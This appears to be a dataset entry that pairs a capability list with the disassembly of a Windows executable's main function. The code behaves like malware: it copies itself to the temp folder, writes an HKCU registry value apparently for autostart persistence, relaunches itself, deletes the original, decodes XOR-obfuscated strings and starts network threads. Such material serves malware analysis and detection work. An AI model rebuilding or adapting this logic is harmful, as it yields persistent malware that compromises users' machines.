Function at 0x409a6b
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check if file exists
Create process on windows
Create thread
Delete file
Get common file path
Get disk information
Initialize winsock library
Query environment variable
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x684
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push edi
push 3
call esi
push 3
call esi
push 0x406511
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0040ec54
xor ebx, ebx
cmp byte [0x41201f], bl
jne 0x40a3cc
push 0x12c
lea eax, [ebp - 0x29c]
push eax
push ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x409aca
mov byte [ebp - 0x29c], bl
cmp byte [ebp - 0x29c], 0x22
jne 0x409afd
lea eax, [ebp - 0x29b]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0040ef00
lea eax, [ebp - 0x29c]
push 0x22
push eax
call fcn.0040ed23
add esp, 0x10
cmp eax, ebx
je 0x409afd
mov byte [eax], bl
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0xc8
push 0xe4
push 4
push 0x410a48
mov esi, 0x4122f8
push esi
mov dword [ebp + 0x10], eax
call fcn.00402544
push eax
push dword [ebp + 0x10]
call fcn.0040ee95
mov edi, 0x100
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0040ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x409c0c
mov eax, dword [ebp - 4]
lea edi, [eax + 3]
mov byte [ebp - 0x170], bl
cmp byte [edi], 0x22
jne 0x409b88
lea edi, [eax + 4]
push 0x22
push edi
call fcn.0040ed03
pop ecx
pop ecx
cmp eax, ebx
je 0x409bc2
mov esi, eax
sub esi, dword [ebp - 4]
lea eax, [esi - 4]
push eax
lea eax, [ebp - 0x170]
push edi
push eax
call fcn.0040ee08
mov byte [ebp + esi - 0x174], bl
jmp 0x409bbf
push 0x20
push edi
call fcn.0040ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0x409ba2
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x10]
mov esi, eax
sub esi, dword [ebp - 4]
lea eax, [esi - 3]
push eax
lea eax, [ebp - 0x170]
push edi
push eax
call fcn.0040ee08
mov byte [ebp + esi - 0x173], bl
add esp, 0xc
cmp byte [ebp - 0x170], bl
je 0x409c05
cmp byte [ebp - 0x29c], bl
je 0x409c05
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0040675c
add esp, 0xc
cmp eax, ebx
je 0x409c05
cmp dword [ebp - 8], ebx
je 0x409c05
push dword [ebp - 8]
push eax
lea eax, [ebp - 0x170]
push eax
call fcn.00406a60
add esp, 0xc
mov dword [ebp - 8], eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.004096aa
add esp, 0x14
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x40a1d2
mov dword [ebp - 0x20], ebx
cmp eax, 4
jge 0x40a167
cmp dword [ebp - 0x2c], 0x5e
jle 0x409c54
cmp dword [ebp - 0x28], ebx
jne 0x40a167
push 1
call fcn.00404280
pop ecx
cmp byte [ebp - 0x29c], bl
je 0x40a167
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0040675c
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x40a167
cmp dword [ebp - 8], ebx
je 0x40a167
cmp dword [ebp - 0xc], 2
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
je 0x409e3e
lea eax, [ebp - 0x4f4]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x409e3e
push dword [ebp - 8]
lea eax, [ebp - 0x2bc]
push dword [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f4]
push eax
call fcn.004099d2
add esp, 0x14
test eax, eax
je 0x409e3e
cmp dword [ebp - 0xc], 3
mov byte [ebp - 0x4c], bl
jl 0x409d55
cmp byte [ebp - 0x170], bl
je 0x409d55
lea eax, [ebp - 0x170]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x409cff
sub eax, edx
cmp eax, ebx
jle 0x409d17
cmp byte [ebp + eax - 0x171], 0x5c
jne 0x409d17
dec eax
mov edx, eax
cmp eax, ebx
jle 0x409d2f
lea ecx, [ebp - 0x170]
cmp byte [ecx + eax - 1], 0x5c
je 0x409d2f
dec eax
cmp eax, ebx
jg 0x409d23
sub edx, eax
push edx
lea eax, [ebp + eax - 0x170]
push eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp + 0x10], edx
call fcn.0040ee08
mov eax, dword [ebp + 0x10]
mov byte [ebp + eax - 0x4c], bl
xor eax, eax
add esp, 0xc
inc eax
jmp 0x409da5
lea eax, [ebp - 0x4c]
push ebx
push eax
call fcn.00406dc2
xor eax, 0x5e5e5e5e
push eax
call fcn.0040f133
add esp, 0xc
call fcn.00406cc9
push eax
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x41070c
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor eax, eax
cmp dword [ebp - 0x28], ebx
je 0x409db4
cmp dword [ebp - 0x2c], 0x50
jl 0x409db4
xor ecx, ecx
jmp 0x409db7
xor ecx, ecx
inc ecx
push ecx
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x2bc]
push eax
call fcn.00409326
add esp, 0x18
test eax, eax
je 0x409e21
lea eax, [ebp - 0x2e0]
push eax
push ebx
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
jne 0x409e0c
xor esi, esi
inc esi
cmp dword [ebp - 0xc], esi
jne 0x409e04
call fcn.004096ff
mov dword [ebp - 0x20], esi
jmp 0x40a155
mov eax, 0x5e040108
mov dword [0x412180], eax
mov dword [0x41217c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x409e2e
mov eax, dword [0x41217c]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x412180]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0xc], 3
jge 0x40a155
push 0x1f4
lea eax, [ebp - 0x4f4]
push eax
push 0xc8
push 0xe4
push 0xc
push 0x410a3c
push esi
call fcn.00402544
add esp, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x40a14a
push dword [ebp - 8]
lea eax, [ebp - 0x2bc]
push dword [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f4]
push eax
call fcn.004099d2
add esp, 0x14
test eax, eax
je 0x40a14a
push edi
push ebx
push esi
call fcn.0040ee2a
add esp, 0xc
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f3]
push eax
mov byte [ebp - 0x4f4], 0x22
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x4f4], 0x22
inc eax
cmp dword [ebp - 0xc], 2
mov dword [ebp + 0x10], eax
mov byte [ebp + eax - 0x4f4], bl
jne 0x409ef9
cmp byte [ebp - 0x6c], bl
jne 0x409f11
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00406dc2
xor eax, 0x5e5e5e5e
push eax
call fcn.0040f133
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 0x103
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0x4106ac
push esi
call fcn.00402544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0x409f70
mov eax, dword [ebp + 0x10]
inc eax
push eax
lea eax, [ebp - 0x4f4]
push eax
push 1
push ebx
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push ebx
push esi
call fcn.0040ee2a
push 0x44
lea eax, [ebp - 0x300]
push ebx
push eax
call fcn.0040ee2a
push 0x10
lea eax, [ebp - 0x3c]
push ebx
push eax
mov dword [ebp - 0x300], 0x44
call fcn.0040ee2a
add esp, 0x24
push 0x104
lea eax, [ebp - 0x170]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40a09a
cmp byte [ebp - 0x170], 0x22
lea eax, [ebp - 0x170]
mov dword [ebp - 0x24], eax
jne 0x409fdd
lea eax, [ebp - 0x16f]
mov dword [ebp - 0x24], eax
cmp byte [eax + 1], 0x3a
jne 0x40a09a
cmp byte [eax + 2], 0x5c
jne 0x40a09a
mov eax, dword [ebp - 0x24]
mov cl, byte [eax + 3]
push eax
mov byte [ebp + 0x13], cl
mov byte [eax + 3], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x40a09a
mov al, byte [ebp + 0x13]
mov ecx, dword [ebp - 0x24]
push 0xc8
push 0xe4
push 4
push 0x410a38
push esi
mov byte [ecx + 3], al
call fcn.00402544
add esp, 0x14
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebx
push esi
call fcn.0040ee2a
add esp, 0xc
cmp byte [ebp - 0x170], 0x22
je 0x40a064
push 0x410a34
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp byte [ebp - 0x170], 0x22
je 0x40a093
push 0x410a34
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x1c], ebx
je 0x40a103
cmp dword [ebp - 0x18], ebx
je 0x40a103
push dword [ebp - 0x1c]
lea eax, [ebp - 0x170]
push dword [ebp - 0x18]
push 0x410a2c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0xc8
push 0xe4
push 4
push 0x410a28
push esi
call fcn.00402544
add esp, 0x24
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebx
push esi
call fcn.0040ee2a
add esp, 0xc
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x300]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4f4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40a13a
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0xc], 1
jne 0x40a14a
cmp dword [ebp - 0x10], ebx
jne 0x40a14a
call fcn.004096ff
push edi
push ebx
push esi
call fcn.0040ee2a
add esp, 0xc
push dword [ebp - 4]
call fcn.0040ec2e
pop ecx
cmp dword [ebp - 0x20], ebx
jne 0x409c05
push 0x12c
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x409c05
cmp byte [ebp - 0x29c], 0x22
lea eax, [ebp - 0x29c]
jne 0x40a19e
lea eax, [ebp - 0x29b]
cmp byte [eax + 1], 0x3a
jne 0x409c05
cmp byte [eax + 2], 0x5c
jne 0x409c05
push eax
mov byte [eax + 3], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x409c05
push 1
call fcn.00409145
pop ecx
jmp 0x409c05
lea eax, [ebp - 0x29c]
push eax
push 0x4121a8
call fcn.0040ef00
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0xc8
push 0xe4
push 4
push 0x410a38
push esi
mov dword [ebp + 0x10], eax
call fcn.00402544
push eax
push dword [ebp + 0x10]
call fcn.0040ee95
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0040ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x40a2e2
mov eax, dword [ebp - 4]
add eax, 3
mov byte [ebp - 0x29c], bl
cmp byte [eax], 0x22
mov dword [ebp - 0x10], eax
jne 0x40a275
mov eax, dword [ebp - 4]
add eax, 4
push 0x22
push eax
mov dword [ebp - 0x10], eax
call fcn.0040ed03
pop ecx
pop ecx
cmp eax, ebx
je 0x40a2b7
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
add eax, 0xfffffffc
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x29c]
push eax
call fcn.0040ee08
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x2a0], bl
jmp 0x40a2b4
push 0x20
push dword [ebp - 0x10]
call fcn.0040ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0x40a291
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x10]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
add eax, 0xfffffffd
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x29c]
push eax
call fcn.0040ee08
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x29f], bl
add esp, 0xc
cmp byte [ebp - 0x29c], bl
je 0x40a2d8
push 0x103
lea eax, [ebp - 0x29c]
push eax
push 0x4133d8
call fcn.0040ee08
add esp, 0xc
mov dword [0x412cc0], 1
push 0xc8
push 0xe4
push 4
push 0x410a28
push esi
call fcn.00402544
push eax
push dword [ebp + 0x10]
call fcn.0040ee95
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0040ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x40a35a
mov esi, dword [ebp - 4]
add esi, 3
push 0x20
push esi
call fcn.0040ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0x40a339
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40a32e
sub eax, edx
add eax, esi
sub eax, esi
mov edi, eax
cmp edi, 0x20
jb 0x40a345
push 0x1f
pop edi
push edi
push esi
push 0x412184
call fcn.0040ee08
add esp, 0xc
mov byte [edi + 0x412184], bl
call fcn.00406ec3
test eax, eax
jne 0x40a3c2
cmp byte [ebp - 0x170], bl
je 0x40a397
lea eax, [ebp - 0x170]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40a374
sub eax, edx
cmp eax, 0x20
jae 0x40a397
lea eax, [ebp - 0x170]
push eax
push 0x4133b0
call fcn.0040ef00
pop ecx
pop ecx
jmp 0x40a39d
mov byte [0x4133b0], bl
lea eax, [ebp - 0x170]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x38], 0x409961
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x409c05
call fcn.004098f2
jmp 0x409c05
cmp byte [0x4133d8], bl
je 0x40a41c
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp + 0x10], 0xa
mov esi, 0x4133d8
jmp 0x40a406
cmp dword [ebp + 0x10], ebx
jle 0x40a40d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x40a40d
dec dword [ebp + 0x10]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call edi
test eax, eax
je 0x40a3e8
push 0x104
push ebx
push esi
call fcn.0040ee2a
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x40405e
push ebx
push ebx
call esi
lea eax, [ebp - 0x684]
push eax
push 0x1010
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.0040e52e
push ebx
push 1
call fcn.0040eaaf
push 0x412118
call fcn.00401d96
add esp, 0xc
call fcn.004080c9
push ebx
push ebx
push ebx
push 0x40877e
push ebx
push ebx
call esi
call fcn.00405e6c
call fcn.00403132
call fcn.0040c125
call fcn.00408db1
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call esi
call fcn.0040c4ee
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x4133d0], ebx
je 0x40a4ae
call edi
sub eax, dword [0x4133d0]
cmp eax, 0x109a0
jb 0x40a4be
call fcn.0040c913
test eax, eax
jne 0x40a4be
call edi
mov dword [0x4133d0], eax
push 0x1a90
call esi
jmp 0x40a497